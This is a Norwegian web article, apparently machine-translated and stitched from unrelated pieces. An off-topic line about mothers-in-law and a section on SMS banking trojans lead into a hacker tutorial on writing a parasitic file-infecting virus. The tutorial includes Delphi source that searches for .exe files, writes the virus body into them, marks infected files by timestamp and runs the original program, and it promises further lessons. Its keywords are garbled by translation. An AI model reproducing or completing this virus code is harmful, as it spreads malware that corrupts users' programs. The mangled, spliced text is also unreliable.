Hvordan sende et virus til et offer. Hacking av andres hender

28.03.2023
Sjeldne svigerdøtre kan skryte av at de har et jevnt og vennlig forhold til svigermor. Vanligvis skjer det stikk motsatte

De siste årene kan du fange et virus ikke bare etter å ha surfet på Internett uten hell - nå er hackere og svindlere mye mer sofistikerte. I dag vil vi fortelle deg hvordan du bekjemper angripere som sender farlige meldinger med ondsinnede lenker. Vi vil fortelle deg hvor farlig det er å navigere gjennom det og hvordan du unngår trusselen om å infisere telefonen din.

Hva slags nyhetsbrev er dette?

Så siden slutten av mai har telefonene til hundretusenvis av brukere vært utsatt for et skjult angrep fra svindlere. Korte, spennende meldinger kommer på smarttelefoner - "Hei, se på bildet og lenken!", som stedsadressen for overgangen er vedlagt. Noen ganger legges det til notater om det "dette er ikke spam", eller "vi må finne ut av det", kan legges til etternavn, eller ring "Hjelp". Faktisk, hvis du ikke tenker på det med en gang, kan du klikke på det og laste ned filen. Du håper at du vil åpne et bilde fra en venn, men du får ingenting. Det er i dette øyeblikket telefonen laster ned virus app.

Hvis du ser på filtypen i nedlastingsloggen, vil du se at det ikke er noen jpg der, den kjører APK-program. En viral bootloader, spesielt i dette tilfellet, fører til at mange innstillinger på telefonen endres.

Brukere kan ikke alltid gjenkjenne et virus på mobiltelefonen, og følgelig kan de ikke slette det skadelige programmet eller iverksette noen handling før viruset får tilgang til personlige data.

For øyeblikket regnes Android-smarttelefoner som de mest sårbare. Et nytt virus har dukket opp via SMS på Android.

I smarttelefoner med åpen kildekode, som er Android-operativsystemet, sprer nye virus seg med en utrolig hastighet.

Nå har de endret seg. Tidligere prøvde de kun å bruke penger på mobiltelefoner, men i dag retter de seg mot bankkort og alle midlene som finnes i nettbanken. Svindlere er først og fremst interessert i smarttelefoner som støtter Mobilbank-tjenesten. Den lar deg stjele penger fra offerets konto ved å bruke svindlerens nummer. For å gjøre dette sender de viruset via SMS til Android.

Hvordan svindlere fungerer

Det første slike viruset ble aktivt tidlig på sommeren 2017. Faren er at trojaneren fjernopererer en Android-smarttelefon.

Angripere sender SMS til ønsket nummer, så for å identifisere tilstedeværelsen av dette viruset i deres mobile gadget, bør smarttelefoneiere ta hensyn til økningen i antall SMS-meldinger som koster 100 rubler. Som et resultat trekkes et beløp delt med 100 fra smarttelefoneierens mobilkonto.

For å tjene betydelige penger blir en angriper tvunget til å sende flere SMS-trojanere fra offerets nummer. Tross alt er han ikke den eneste som jobber i denne uredelige kjeden.

Trojaneren slår seg ned i offerets gadget og sender SMS fra offerets nummer til "kjære" nummeret til svindlerne. Og det er for disse SMS-meldingene adressert til dette "dyre" nummeret at offeret belastes 100 rubler. for hver uautorisert SMS-melding.

Formidlere i denne ordningen kan være en teleoperatør, tilbyder og andre partnere som kanskje ikke kjenner til svindlernes triks. For å dekke alle utgifter og tjene penger, må angriperen ta ut minst 1000 rubler fra hvert tall.

Samtidig kan vi ikke utelukke muligheten for at smarttelefoneiere kan klage til operatøren sin om tyveri av penger. Og så tar de gjengjeldelsestiltak for å forhindre svindel. De kan for eksempel innføre krav om å legge inn tilleggsbekreftelser før de belaster penger og lignende. I en slik situasjon blir angripere tvunget til å se etter nye metoder for svindel.

Takket være disse faktorene dukket det opp en annen trojaner. Denne representanten for Trojan-SMS utfører også kommandoer mottatt fra den eksterne serveren.

Det nye viruset er mer fleksibelt og navigerer perfekt i alle forhold, med tanke på barrierene til mobiloperatøren, og til og med tilstanden til abonnentens konto og tidspunktet for transaksjoner.

Hvordan viruset virker

Det nye viruset er i dvale – det har ingen uavhengighet. Selv når den kommer inn i en smarttelefon, vises den ikke på noen måte. For at det skal fungere, kreves en fjernkommando fra eieren av telefonen.

Til dette brukes den såkalte POST-forespørselen. Den er beregnet på en forespørsel der webserveren godtar data som er innelukket i meldingens brødtekst for lagring. Det brukes ofte for eksempel til å laste ned en fil.

Ved å bruke en POST-forespørsel kan du opprette en forbindelse med en ekstern server og motta den riktige kommandoen, når trojaneren mottar den begynner å sende dyre SMS-meldinger fra numrene til ofrene til antallet svindlere.

Hvordan fungerer den nye trojaneren? For eksempel sender programmet automatisk SMS-meldinger med ett ord "BALANSE" til et nummer som støtter Mobilbank.

Ved å sende en SMS-melding fra et kortnummer kan svindlere sjekke om offerets nummer er knyttet til en bankkonto og hva statusen til kontoen er.

Eksempler fra livet

For eksempel har Sberbank et nummer som meldinger sendes fra - 900. Når meldingen "BALANCE" (eller kanskje på russisk "saldo") kommer fra avsenderen 900, eieren av telefonen, stoler på Sberbank og er trygg på at denne meldingen er fra denne banken, åpner meldingen og svarer på den, og ønsker å vite hva som skjedde med saldoen. På denne måten får svindlere svar på SMS, noe som betyr for dem at et bankkort er festet til telefonen. Dessuten blir det klart for dem at dette kortet kan administreres ved hjelp av SMS-kommandoer, som er inkludert i Mobile Bank-tjenesten. Og så, som de sier, "et spørsmål om teknikk."

En av vennene mine mottok nylig meldinger fra kortnummeret 4-74-1, som er registrert hos Sberbank-mobilbanken med meldingen "Tjenesten er utilgjengelig, prøv igjen senere." Av åpenbare grunner sendte hun ikke svar, da hun allerede visste om de mulige truslene. Tilsynelatende er dette de samme svindlerne, forklædt som en mobilbank, på denne måten prøvde de å beregne reaksjonen hennes og finne ut om en mobilbank var installert på smarttelefonen hennes.

Klassifisering

HLLO-Språkoverskriving på høyt nivå. Et slikt virus skriver om programmet med kroppen sin. De.
programmet blir ødelagt, og når brukeren prøver å kjøre programmet starter viruset og "infiserer" videre.

HLLC-høynivåspråklig følgesvenn. De fleste av disse virusene dateres tilbake til antikken (8-10 år siden), da brukere hadde DOS og var veldig late. Disse virusene leter etter en fil og lager en kopi av seg selv uten å endre den, men med .COM-utvidelsen. Hvis en lat bruker bare skriver filnavnet på kommandolinjen, ser DOS først etter COM-filen, starter viruset, som først gjør jobben sin og deretter starter EXE-filen. Det er en annen modifikasjon
HLLC - mer moderne (7 år gammel;)): Viruset gir filen nytt navn, beholder navnet, men endrer utvidelsen - fra EXE til for eksempel OBJ eller MAP. Viruset erstatter den opprinnelige filen med kroppen. De. brukeren starter et virus, som etter reprodusering starter ønsket program - alle er fornøyde.

HLLP-Språkparasittisk på høyt nivå. Den mest avanserte. Tilskriv kroppen deres til filen fra forsiden (viruset starter først, deretter gjenoppretter det programmet og kjører det) eller fra baksiden
- så i overskriften til programmet skriver vi jmp nær viruskroppen, og starter fortsatt først.

Vi kan la selve programmet være uendret, da vil det se slik ut:

Hva er MZ, jeg tror du gjettet det :) Dette er initialene til din elskede Mark Zbikowski, som han beskjedent definerte i signaturen til exe-filen :) Og jeg skrev dem inn her bare slik at du forstår
- infeksjon skjer i henhold til prinsippet kopi /b virus.exe program.exe, og det er ingen spesielle triks her. Ikke nå. Men du og jeg skal knulle dem
- Vær sunn:). Vel, for eksempel: du kan kryptere de første 512 eller flere bytene av det originale programmet med en hvilken som helst algoritme kjent for deg - XOR/XOR, NOT/NOT, ADD/SUB, så vil det se slik ut:

I dette tilfellet vil strukturen til den infiserte filen ikke være så tydelig.
Det er ikke for ingenting jeg skravler så mye her (i klassifiseringen, i betydningen)
- den parasittiske algoritmen brukes av 90% av moderne virus, uavhengig av distribusjonsmetode. Ok, la oss gå videre:

Nettverksvirus. Kan være hvilken som helst av de ovennevnte. Den er forskjellig ved at dens distribusjon ikke er det
begrenset til én datamaskin, kommer denne infeksjonen på en eller annen måte gjennom Internett eller lokalt nettverk til andre maskiner. Jeg tror du tar med 3-4 av disse vennene ut av såpeboksen din med jevne mellomrom.
- her er et eksempel på et nettverksvirus. Og når den først kommer inn på en annens datamaskin, infiserer den filer på en vilkårlig måte, eller infiserer dem ikke i det hele tatt.

Makrovirus, skriptvirus, IRC-virus. Jeg legger dem i én gruppe fordi dette er virus skrevet på språk som er innebygd i applikasjoner (MSOffice:)), skript (dine favoritt VBS-regler her) og IRC-skript. Strengt tatt, så snart en tilstrekkelig kraftig (og/eller lekk) skriptkomponent dukker opp i en applikasjon, begynner virus umiddelbart å bli skrevet på den 😉 Makrovirus er forresten veldig enkle og kan lett identifiseres med heuristikk.

Koding

Vi kom dit :) Kom igjen, start Delphi, drep alle slags vinduer og tørk alt tullet fra prosjektvinduet. Det vil si, tørk av alt :) Vi vil kun jobbe med DPR som inneholder:

program EVIL_VIRUS;
BRUKER WINDOWS,SYSUTILS;
begynne
slutt;

Jeg tror du allerede har forstått logikken til viruset fra klassifiseringen - vi gjenoppretter og starter programmet --> vent på at arbeidet er fullført - -> slett den "brukte filen" (jeg glemte å si - vi BEHANDLER IKKE de infiserte programmet overfører vi den opprinnelige koden til den venstre filen og kjører EKSEMPEL: Infisert fil NOTEPAD.EXE. Lag filen _NOTEPAD.EXE i samme katalog med originalkoden, og kjør den).--> se etter en uinfisert fil og infisere den. Det er alt :) Grunndesignet til viruset ser akkurat slik ut.

Erklær nå følgende variabler og konstanter for din mektige hjerne:

VaR VirBuf, ProgBuf, MyBuf: array of char;
SR: TSearchRec;
Min,pr: Fil;
ProgSize, resultat: heltall;
PN,st: String;
si: Tstartupinfo;
p:Tprosessinformasjon;
infisert: boolsk;
CONST VirLen: longint= 1000000;

Den første linjen inneholder dynamiske arrays der vi skal skrive henholdsvis virusets og programmets kropp; Vil bli skrevet til SR-variabelen
egenskapene til den funnet filen som er en kandidat for infeksjon (jeg håper du er kjent med FindFirst og FindNext prosedyrene, fordi det vil bli verre;)), Min og
Pr er filen der vi startet fra og den venstre filen med den originale programkoden (jeg har allerede skrevet om det ovenfor). resultat - resultatet av FindFirst, det må være lik null,
ProgSize - programkodestørrelse. Resten er klart av det følgende, bortsett fra
infisert - dette er et tegn på at den funnet filen er infisert og
VirLen er lengden på viruskoden, det får du først vite etter bryllupet. Uff, ville jeg si etter kompilering. De. kompiler, endre verdien på konstanten i kilden og kompiler på nytt.
La oss kode videre :) Her ser du koden som er ansvarlig for å gjenopprette og starte det infiserte programmet:

SetLength(virbuf,VirLen);
AssignFile(my,ParamStr(0));
st:= paramstr(0);
St:= st+#0;
CopyFile (@st,"c:\windows\program.exe",false);
IF FileSize (min)> VirLen da
begynne
//Kjør programmet
AssignFile(my,"c:\windows\program.exe);
Tilbakestill(min);
ProgSize:= Filstørrelse(min)-VirLen;
BlockRead(my,virbuf,virlen);
SetLength(progbuf,pRogSize);
BlockRead(my,progbuf,progSize);
CloseFile(min);
PN:= "_"+ParamStr(0);
AssignFile(pr,PN);
ReWrite(pr);
BlockWrite(pr,progbuf,progSize);
CloseFile(pr);
FillChar(Si, SizeOf(Si) , 0);
med Si do
begynne
cb:= StørrelseOf(Si);
dwFlags:= startf_UseShowWindow;
wShowWindow:= 4;
slutt;
PN:= PN+#0;
Createprocess(nil,@PN,nil,nil,false,Create_default_error_mode,nil,nil,si,p);
Vent forsingleobject(p.hProcess,uendelig);
//Startet, programmet kjørte. La oss slette det :)
ErAsE(pr);
Slett (min);

Alt her er i prinsippet enkelt og oversiktlig, bortsett fra hvorfor jeg flyttet hele den infiserte filen til Windows-katalogen og hva linje 3 til 5 gjør.
Jeg gjorde dette fordi det er upraktisk å lese fra en kjørende fil og kun er mulig ved å bruke CreateFile og ReadFile WinAPI. Jeg skal fortelle deg om koding ved hjelp av WinAPI senere, nå skal jeg bare dekke det grunnleggende
- i Delphi.

Disse linjene er konverteringen av streng til pchar ved hjelp av den tradisjonelle metoden, siden vi nå kjemper for hver byte med kode. Et annet poeng: Jeg handlet feil ved å sette c:\windows-banen så strengt. Bedre bruk GetWindowsDirectory-prosedyren, finn det ut med sikkerhet :) Alt annet er klart uten noen kommentarer (hvis ikke
slutt å hoppe over informatikk;)), la oss gå videre:

result:= FindFirst("*.exe",faAnyFile,sr);
MENS Resultat= 0 GJØR
begynne
//Se etter lus
Infisert:= falsk;
IF DateTimeToStr (FileDateToDateTime (fileage (sr.name)))= "08/03/98 06:00:00" så infisert:= true;
//Krysset av!
IF (infected= usant) og (sr.name<>paramstr(0)) da
begynne
AssignFile(my,sr.Name);
ReWrite(min);
BlockWrite(my,virbuf,virlen);
BlockWrite(my,progbuf,sr.Size);
CloseFile(min);
FileSetDate(sr.Name,DateTimeToFileDate(StrToDateTime("08/03/98 06:00:00")));
slutt;
slutt;

//Hvis viruset lanseres "rent", dvs. ikke fra et infisert program, så avslutter vi
ende annet stopp;

Hva ser ditt skarpe øye her? Det er riktig, FindFirst-prosedyren søker etter det gitte offeret (en hvilken som helst exe-fil fra gjeldende katalog), overfører egenskapene til SR-variabelen. Deretter må du sjekke det for forurensning. Dette gjøres på en original måte: når den er infisert, blir filen tildelt en def. dato og tid. Og enhver fil med slike egenskaper anses som infisert. Alt annet er igjen uanstendig enkelt, så jeg går jevnt videre til konklusjonen :)

Konklusjon

Så vi kodet vårt første virus. Foreløpig kan den bare infisere filer i gjeldende katalog (selv om jeg er sikker på at du enkelt kan oppgradere den ;)) og vet ingenting om andre kataloger og Internett. Fortvil ikke, vi skal lære ham dette raskt. For nå, lek med disse linjene og vent på neste artikkel.

applikasjon

Jeg vil våge å gi deg en beskrivelse av alle prosedyrene som brukes i artikkelen. Dette vil hjelpe deg å se etter dem i hjelpen og forberede deg på koding av alvorlige virus ved hjelp av
WinAPI.

AssignFile - ingen tilsvarende i WinAPI - samsvarer med en fil
med en variabel av typen File eller TextFile

Tilbakestill - analoger av _lopen og CreateFile - åpnes
eksisterende fil og setter posisjonen
lesing til begynnelsen

ReWrite - _lcreate and CreateFile - oppretter en ny fil og
munn leseposisjon til begynnelsen. Hvis du mater
Skriv om en eksisterende fil, dens innhold
vil bli tilbakestilt til null

BlockRead - _lread og ReadFile - leser inn i bufferen
en viss mengde data fra en fil

BlockWrite - henholdsvis _lwrite og WriteFile - skriver
data til fil

SeekFile - _llseek og SetFilePointer - flytter posisjon
les/skriv i åpen fil

CloseFile - _lclose og CloseHandle - lukker en åpen
fil

Erase - DeleteFile - sletting av en fil

FindFirst - FindFirstFile - søk etter en fil etter kriterier

FindNext - FindNextFile - søk etter neste fil

Siste nettstedmateriale